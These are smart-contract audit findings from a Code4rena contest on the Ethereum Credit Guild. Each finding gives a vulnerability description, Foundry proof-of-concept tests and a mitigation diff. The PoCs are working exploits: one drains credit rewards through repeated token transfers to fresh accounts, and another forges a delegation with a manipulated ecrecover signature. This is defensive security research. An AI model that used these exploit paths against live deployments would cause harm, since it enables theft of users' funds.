Ethereum Credit Guild - klau5's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/GuildToken.sol#L258-L260 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L416-L418 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L420 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L434

Vulnerability details

Impact

Can drain all credit tokens deposited in ProfitManager. (guild rewards and surplus buffer)

Proof of Concept

When adding weight to a gauge, normally it calls claimGaugeRewards first to settle any existing rewards before updating the new weight. After settling the reward, it apply the added weight to the gauge.

function _incrementGaugeWeight(
    address user,
    address gauge,
    uint256 weight
) internal override {
    uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
    uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
    if (getUserGaugeWeight[user][gauge] == 0) {
        lastGaugeLossApplied[gauge][user] = block.timestamp;
    } else {
        require(
            _lastGaugeLossApplied >= _lastGaugeLoss,
            "GuildToken: pending loss"
        );
    }

@>  ProfitManager(profitManager).claimGaugeRewards(user, gauge);

@>  super._incrementGaugeWeight(user, gauge, weight);
}

For new users who have not previously weighted the gauge, or for old users who removed all weight at past, claimGaugeRewards do nothing but just returns. And these user's userGaugeProfitIndex is not initialized. So if the user requests the reward again, they can take all accumulated rewards.

function claimGaugeRewards(
    address user,
    address gauge
) public returns (uint256 creditEarned) {
    uint256 _userGaugeWeight = uint256(
        GuildToken(guild).getUserGaugeWeight(user, gauge)
    );
@>  if (_userGaugeWeight == 0) {
@>      return 0;
    }
    ...
}

This is a Poc. Add it to ProfitManager.t.sol and run it.

function testDrainProfitManager() public {
    // grant roles to test contract
    vm.startPrank(governor);
    core.grantRole(CoreRoles.GOVERNOR, address(this));
    core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
    core.grantRole(CoreRoles.GUILD_MINTER, address(this));
    core.grantRole(CoreRoles.GAUGE_ADD, address(this));
    core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
    core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));

    guild.enableTransfer(); // transfer is enabled
    vm.stopPrank();

    credit.mint(alice, 50e18);

    vm.prank(governor);
    profitManager.setProfitSharingConfig(
        0.25e18, // surplusBufferSplit
        0.50e18, // creditSplit
        0.25e18, // guildSplit
        0, // otherSplit
        address(0) // otherRecipient
    );
    guild.setMaxGauges(3);
    guild.addGauge(1, gauge1);

    guild.mint(alice, 50e18);
    guild.mint(bob, 50e18);

    vm.startPrank(alice);
    guild.incrementGauge(gauge1, 50e18);
    vm.stopPrank();

    vm.startPrank(bob);
    guild.incrementGauge(gauge1, 50e18);
    vm.stopPrank();

    // simulate 100 profit on gauge1
    // 12.5 goes to alice (guild voting)
    // 12.5 goes to bob (guild voting)
    // 50 goes to test (rebasing credit)
    // 25 goes to surplus buffer
    credit.mint(address(profitManager), 100e18);
    profitManager.notifyPnL(gauge1, 100e18);
    vm.warp(block.timestamp + credit.DISTRIBUTION_PERIOD());
    // assertEq(profitManager.claimRewards(alice), 5e18); // alice does not claimed yet
    assertEq(profitManager.claimRewards(bob), 12.5e18);
    assertEq(credit.balanceOf(address(this)), 150e18);

    address attacker1 = address(0xa1);
    address attacker2 = address(0xa2);
    address attacker3 = address(0xa3);

    // attacker drains all guild reward & surplus buffer
    vm.prank(bob);
    guild.transfer(attacker1, 50e18);

    vm.prank(attacker1);
    guild.incrementGauge(gauge1, 50e18);
    assertEq(profitManager.claimRewards(attacker1), 12.5e18);

    vm.prank(attacker1);
    guild.transfer(attacker2, 50e18);

    vm.prank(attacker2);
    guild.incrementGauge(gauge1, 50e18);
    assertEq(profitManager.claimRewards(attacker2), 12.5e18);

    vm.prank(attacker2);
    guild.transfer(attacker3, 50e18);

    vm.prank(attacker3);
    guild.incrementGauge(gauge1, 50e18);
    assertEq(profitManager.claimRewards(attacker3), 12.5e18);

    // alice cannot get reward
    vm.expectRevert("ERC20: transfer amount exceeds balance");
    profitManager.claimRewards(alice);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Initialize the userGaugeProfitIndex

function claimGaugeRewards(
    address user,
    address gauge
) public returns (uint256 creditEarned) {
    uint256 _userGaugeWeight = uint256(
        GuildToken(guild).getUserGaugeWeight(user, gauge)
    );
    if (_userGaugeWeight == 0) {
+       userGaugeProfitIndex[user][gauge] = gaugeProfitIndex[gauge];
        return 0;
    }
    ...
}

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L229

Vulnerability details

Impact

All new stakers after loss will lose their staked token.

Proof of Concept

The getRewards function of SurplusGuildMinter is using the userStake variable before initializing it. So userStake.lastGaugeLoss is always 0 when comparing with lastGaugeLoss.

If that LendingTerm loses once, all users who staked after the loss will be slashed too. Every new staker will loss their staked tokens.

function getRewards(
    address user,
    address term
)
    public
    returns (
        uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
@>      UserStake memory userStake, // stake state after execution of getRewards()
        bool slashed // true if the user has been slashed
    )
{
    bool updateState;
    lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
@>  if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
        slashed = true;
    }
    // if the user is not staking, do nothing
@>  userStake = _stakes[user][term];
    if (userStake.stakeTime == 0)
        return (lastGaugeLoss, userStake, slashed);

    ...
@>  if (slashed) {
      emit Unstake(block.timestamp, term, uint256(userStake.credit));
@>    userStake = UserStake({
          stakeTime: uint48(0),
          lastGaugeLoss: uint48(0),
          profitIndex: uint160(0),
          credit: uint128(0),
          guild: uint128(0)
      });
      updateState = true;
  }

  // store the updated stake, if needed
  if (updateState) {
@>    _stakes[user][term] = userStake;
  }
}

This is PoC. Add it at SurplusGuildMinter.t.sol file and run it.

function testPoCgetRewardsAgain() public {
    // add a 1 terms
    address term1 = address(new MockLendingTerm(address(core)));
    guild.addGauge(1, term1);
    guild.mint(address(this), 50e18);
    guild.incrementGauge(term1, 50e18);

    address user1 = address(19028109281092);
    address user2 = address(88120812019200);

    // setup 2 users
    credit.mint(user1, 50e18);
    credit.mint(user2, 100e18);
    vm.startPrank(user1);
    credit.approve(address(sgm), 50e18);
    sgm.stake(term1, 50e18);
    vm.stopPrank();
    vm.startPrank(user2);
    credit.approve(address(sgm), 100e18);
    sgm.stake(term1, 100e18);
    vm.stopPrank();

    assertEq(profitManager.surplusBuffer(), 0);
    assertEq(profitManager.termSurplusBuffer(term1), 150e18);

    // gauges earn interests
    vm.prank(governor);
    profitManager.setProfitSharingConfig(
        0.5e18, // surplusBufferSplit
        0, // creditSplit
        0.5e18, // guildSplit
        0, // otherSplit
        address(0) // otherRecipient
    );
    credit.mint(address(profitManager), 140e18);
    profitManager.notifyPnL(term1, 140e18);

    assertEq(profitManager.surplusBuffer(), 70e18);
    assertEq(profitManager.termSurplusBuffer(term1), 150e18);

    // next block
    vm.warp(block.timestamp + 13);
    vm.roll(block.number + 1);

    // loss in term1 + slash sgm
    profitManager.notifyPnL(term1, -20e18);
    assertEq(guild.balanceOf(address(sgm)), 300e18);
    guild.applyGaugeLoss(term1, address(sgm));
    assertEq(guild.balanceOf(address(sgm)), 0);
    assertEq(profitManager.surplusBuffer(), 70e18 + 150e18 - 20e18);
    assertEq(profitManager.termSurplusBuffer(term1), 0);

    // user1 unstake (slashed)
    // on term1, getRewards applied the unstake because position has been slashed
    sgm.getRewards(user1, term1);
    assertEq(credit.balanceOf(user1), 20e18);
    assertEq(guild.balanceOf(user1), 0);
    assertEq(sgm.getUserStake(user1, term1).stakeTime, 0);

    assertEq(profitManager.surplusBuffer(), 70e18 + 150e18 - 20e18);
    assertEq(profitManager.termSurplusBuffer(term1), 0);

    // next block
    vm.warp(block.timestamp + 13);
    vm.roll(block.number + 1);

    // newStaker stake after loss
    address newStaker = address(0xcafebabe);
    credit.mint(newStaker, 50e18);
    vm.startPrank(newStaker);
    credit.approve(address(sgm), 50e18);
    sgm.stake(term1, 50e18);
    vm.stopPrank();

    SurplusGuildMinter.UserStake memory restakeInfo = sgm.getUserStake(newStaker, term1);
    assertEq(restakeInfo.stakeTime, uint48(block.timestamp));
    assertEq(restakeInfo.lastGaugeLoss, uint48(block.timestamp - 13));

    // new profit occurs
    credit.mint(address(profitManager), 140e18);
    profitManager.notifyPnL(term1, 140e18);
    assertEq(profitManager.surplusBuffer(), 70e18 + 150e18 - 20e18 + 70e18);
    assertEq(profitManager.termSurplusBuffer(term1), 50e18);

    // but the newStaker is slashed too
    ( , , bool slashed) = sgm.getRewards(newStaker, term1);
    assertEq(slashed, true);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Initialize userStake first and use it.

function getRewards(
    address user,
    address term
)
    public
    returns (
        uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
        UserStake memory userStake, // stake state after execution of getRewards()
        bool slashed // true if the user has been slashed
    )
{
+   userStake = _stakes[user][term];
    bool updateState;
    lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
    if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
        slashed = true;
    }
    // if the user is not staking, do nothing
-   userStake = _stakes[user][term];
    if (userStake.stakeTime == 0)
        return (lastGaugeLoss, userStake, slashed);

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L287 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L279 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L274-L277

Vulnerability details

Impact

Incorrect assumptions can lead to incorrect calculations when gaugeWeightDelta is non-zero.

Proof of Concept

In the debtCeiling function at LendingTerm, if gaugeWeight == totalWeight, it is assumed that there is only one gauge of that type.

However, this assumption is incorrect because gaugeWeight applies gaugeWeightDelta, and totalWeight does not. So, this may encounter problems when gaugeWeightDelta = totalWeight - guildToken.getGaugeWeight(address(this)).

function debtCeiling(
    int256 gaugeWeightDelta
) public view returns (uint256) {
    address _guildToken = refs.guildToken; // cached SLOAD
@>  uint256 gaugeWeight = GuildToken(_guildToken).getGaugeWeight(
        address(this)
    );
@>  gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
    uint256 gaugeType = GuildToken(_guildToken).gaugeType(address(this));
@>  uint256 totalWeight = GuildToken(_guildToken).totalTypeWeight(
        gaugeType
    );
    uint256 creditMinterBuffer = RateLimitedMinter(refs.creditMinter)
        .buffer();
    uint256 _hardCap = params.hardCap; // cached SLOAD
    if (gaugeWeight == 0) {
        return 0; // no gauge vote, 0 debt ceiling
@>  } else if (gaugeWeight == totalWeight) {
        // one gauge, unlimited debt ceiling
        // returns min(hardCap, creditMinterBuffer)
        return
            _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
    }
    ...
}

Suppose there are three lending terms of the same type, A, B, and C, and the weights are a, b, and c, respectively. Then the totalWeight is a + b + c.

In this case, calling A.debtCeiling(b+c) will result in gaugeWeight = guildToken.getGaugeWeight(A) + gaugeWeightDelta = a + b + c, which satisfies the condition gaugeWeight == totalWeight.

Then it will return hardCap or creditMinterBuffer rather than the result calculated based on the actual value because it thinks there is only one gauge.

This is PoC. You can try it by adding to LendingTerm.t.sol.

function testPoCDeptCeilingCalculation() public {
    uint256 _weight = guild.getGaugeWeight(address(term));
    assertEq(term.debtCeiling(), _HARDCAP);

    // add another gauge, equal voting weight for the 2nd gauge
    guild.addGauge(1, address(this));
    guild.mint(address(this), _weight);
    guild.incrementGauge(address(this), _weight);

    // debt ceiling is _HARDCAP because credit totalSupply is 0
    // and first-ever mint does not check relative debt ceilings
    assertEq(term.debtCeiling(), _HARDCAP);

    // prepare
    uint256 borrowAmount = 20_000e18;
    uint256 collateralAmount = 12e18;
    collateral.mint(address(this), collateralAmount * 2);
    collateral.approve(address(term), collateralAmount * 2);

    // first borrow works
    term.borrow(borrowAmount, collateralAmount);
    vm.warp(block.timestamp + 10);
    vm.roll(block.number + 1);

    // total = 2 * _weight => so, this returns _HARDCAP (because gaugeWeight(now) + delta == totalWeight)
    assertEq(term.debtCeiling(int256(_weight)), _HARDCAP);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Apply gaugeWeightDelta at totalWeight to compare.

function debtCeiling(
    int256 gaugeWeightDelta
) public view returns (uint256) {
    address _guildToken = refs.guildToken; // cached SLOAD
    uint256 gaugeWeight = GuildToken(_guildToken).getGaugeWeight(
        address(this)
    );
    gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
    uint256 gaugeType = GuildToken(_guildToken).gaugeType(address(this));
    uint256 totalWeight = GuildToken(_guildToken).totalTypeWeight(
        gaugeType
    );
    uint256 creditMinterBuffer = RateLimitedMinter(refs.creditMinter)
        .buffer();
    uint256 _hardCap = params.hardCap; // cached SLOAD
    if (gaugeWeight == 0) {
        return 0; // no gauge vote, 0 debt ceiling
-   } else if (gaugeWeight == totalWeight) {
+   } else if (gaugeWeight == uint256(int256(totalWeight) + gaugeWeightDelta)) {
        // one gauge, unlimited debt ceiling
        // returns min(hardCap, creditMinterBuffer)
        return
            _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
    }
    ...
}

Assessed type

Math

The comments on GuildVetoGovernor say that there is no public cancel function, but there is, and it is callable

Links to affected code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/GuildVetoGovernor.sol#L238-L240

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/GuildVetoGovernor.sol#L261

Impact

Unlike comments , there is a public cancel function.

Proof of Concept

The comment on GuildVetoGovernor says that it cannot be canceled because there is no public cancel function. However, there is actually a cancel function and it is callable.

This is not a big deal because the state function ignores the cancel state. You may want to explicitly override the _cancel function to disable it, as it may cause issues in future changes.

    /// @notice State of a given proposal
    /// The state can be one of:
    /// - ProposalState.Pending   (0) Lasts only during the block where the veto proposal has been created.
    /// - ProposalState.Active    (1) If action is pending in the timelock and veto quorum has not been reached yet.
@>  /// - ProposalState.Canceled  (2) If a veto was created but the timelock action has been cancelled through another
@>  ///   mean before the veto vote succeeded. The internal _cancel() function is not reachable by another mean (no
@>  ///   public cancel() function), so this is the only case where a proposal will have Canceled status.
    /// - ProposalState.Defeated  (3) If proposal already executed or is ready to execute in the timelock.
    /// - ProposalState.Succeeded (4) If action is pending in the timelock and veto quorum has been reached. Veto can be executed instantly.
    /// - ProposalState.Executed  (7) If a veto successfully executed.
    /// note that veto proposals have a quorum that works with 'against' votes, and that only 'against' votes can be
    /// cast in this veto governor.
    function state(
        uint256 proposalId
    ) public view override returns (ProposalState) {
        ...
@>      // Proposal cannot be Canceled because there is no public cancel() function.
        // Vote has just been created, still in waiting period
        if (status == ProposalState.Pending) {
            return ProposalState.Pending;
        }

This is PoC. You can test it by adding it to GuildVetoGovernor.t.sol.

function testPoCCancel() public {
    // schedule an action in the timelock
    bytes32 timelockId = _queueDummyTimelockAction(12345);

    // check status in the timelock
    assertEq(timelock.isOperationPending(timelockId), true);
    assertEq(timelock.isOperationReady(timelockId), false);
    assertEq(timelock.isOperationDone(timelockId), false);

    // create a veto proposal
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 10);
    token.mockSetVotes(address(this), _VETO_QUORUM);

    uint256 proposalId = governor.createVeto(timelockId);
    assertEq(
        uint256(governor.state(proposalId)),
        uint256(IGovernor.ProposalState.Pending)
    );
    assertEq(uint256(governor.proposalSnapshot(proposalId)), block.number);
    assertEq(
        uint256(governor.proposalDeadline(proposalId)),
        block.number + 2425847
    );

    // cannot vote in the same block as the propose()
    assertEq(governor.getVotes(address(this), block.number), _VETO_QUORUM); // we have the votes
    assertEq(governor.hasVoted(proposalId, address(this)), false); // we have not voted
    (
        uint256 againstVotes,
        uint256 forVotes,
        uint256 abstainVotes
    ) = governor.proposalVotes(proposalId);
    assertEq(againstVotes, 0); // nobody voted
    assertEq(forVotes, 0); // nobody voted
    assertEq(abstainVotes, 0); // nobody voted

    (
        address[] memory targets,
        uint256[] memory values,
        bytes[] memory calldatas,
        string memory description
    ) = _getVetoCalls(timelockId);
    // cancel
    governor.cancel(targets, values, calldatas, keccak256(bytes(description)));

    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 10);

    // But ignored
    assertEq(
        uint256(governor.state(proposalId)),
        uint256(IGovernor.ProposalState.Active)
    );
}

function _getVetoCalls(
    bytes32 timelockId
)
    internal
    view
    returns (
        address[] memory targets,
        uint256[] memory values,
        bytes[] memory calldatas,
        string memory description
    )
{
    targets = new address[](1);
    targets[0] = address(timelock);
    values = new uint256[](1); // 0 eth
    calldatas = new bytes[](1);
    calldatas[0] = abi.encodeWithSelector(
        0xc4d252f5,
        timelockId
    );
    description = string.concat(
        "Veto proposal for ",
        string(abi.encodePacked(timelockId))
    );
}

Tools Used

Manual Review

Recommended Mitigation Steps

override _cancel function.

delegateBySig - Invalid signatures may be accepted because the ecrecover result is used as a delegator

Links to affected code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20MultiVotes.sol#L483

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20MultiVotes.sol#L503-L504

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/package.json#L27

Impact

If the user enters an invalid signature, it will not revert.

Proof of Concept

delegateBySig doesn’t get delegator(singer) parameter from caller and use ecrecover return value as delegator address. But the ecrecover function may return a non-zero value even if the signature is invalid.

It's unsafe to use the return value of ecrecover for any purpose other than comparing it with a valid signer value.

function delegateBySig(
        address delegatee,
        uint256 nonce,
        uint256 expiry,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public {
        require(
            block.timestamp <= expiry,
            "ERC20MultiVotes: signature expired"
        );
@>      address signer = ecrecover(
            keccak256(
                abi.encodePacked(
                    "\x19\x01",
                    _domainSeparatorV4(),
                    keccak256(
                        abi.encode(
                            DELEGATION_TYPEHASH,
                            delegatee,
                            nonce,
                            expiry
                        )
                    )
                )
            ),
            v,
            r,
            s
        );
        require(nonce == _useNonce(signer), "ERC20MultiVotes: invalid nonce");
        require(signer != address(0));
@>      _delegate(signer, delegatee);
    }

This is PoC. Put it in the ERC20MultiVotes.t.sol file and you can run it.

function testPoCDelegateBySig() public {
    uint256 mintAmount = 500;
    address oldDelegatee = address(0xcafe);
    address attacker = address(0x1337);
    uint256 beforeDelegateAmount = 100;

    uint8 v_manipulated = 27;
    bytes32 r_manipulated = 0xcd7131732b50aeddb0b4ed935238859e6cb8d0faae7f0c1f5756e34d8ceead30;
    bytes32 s_manipulated = 0x6edfe0697454a340b905f4d17a7d44cead88ed09267058270b088e2bcfcb96b7;
    // This manipulated signature is treated as belonging to this random victim.
    address manipulatedAddress_owner = ecrecover(
        keccak256(
            abi.encodePacked(
                "\x19\x01",
                token.DOMAIN_SEPARATOR(),
                keccak256(
                    abi.encode(
                        token.DELEGATION_TYPEHASH(),
                        attacker,
                        0,
                        block.timestamp
                    )
                )
            )
        ),
        v_manipulated,
        r_manipulated,
        s_manipulated
    );

    // This random victim has tokens
    token.mint(manipulatedAddress_owner, mintAmount);
    token.setMaxDelegates(2);

    vm.prank(manipulatedAddress_owner);
    token.incrementDelegation(oldDelegatee, beforeDelegateAmount);

    uint256 expected = attacker == address(0) ? 0 : mintAmount;
    uint256 expectedFree = attacker == address(0) ? mintAmount : 0;

    token.delegateBySig(attacker, 0, block.timestamp, v_manipulated, r_manipulated, s_manipulated);

    require(
        oldDelegatee == attacker ||
            token.delegatesVotesCount(manipulatedAddress_owner, oldDelegatee) == 0
    );
    require(token.delegatesVotesCount(manipulatedAddress_owner, attacker) == expected);
    require(token.userDelegatedVotes(manipulatedAddress_owner) == expected);
    require(token.getVotes(attacker) == expected);
    require(token.freeVotes(manipulatedAddress_owner) == expectedFree);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Check that the ecrecover result is the same as intended and that the signature is valid.

function delegateBySig(
+       address delegator,
        address delegatee,
        uint256 nonce,
        uint256 expiry,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public {
        require(
            block.timestamp <= expiry,
            "ERC20MultiVotes: signature expired"
        );
        address signer = ecrecover(
            keccak256(
                abi.encodePacked(
                    "\x19\x01",
                    _domainSeparatorV4(),
                    keccak256(
                        abi.encode(
                            DELEGATION_TYPEHASH,
                            delegatee,
                            nonce,
                            expiry
                        )
                    )
                )
            ),
            v,
            r,
            s
        );
        require(nonce == _useNonce(signer), "ERC20MultiVotes: invalid nonce");
        require(signer != address(0));
+       require(signer == delegator, "wrong signature");
        _delegate(signer, delegatee);
    }

And Openzeppelin v4.9.3 Governor has the same problem. It fixed in v5.0.0, so we recommend you to raise your library version.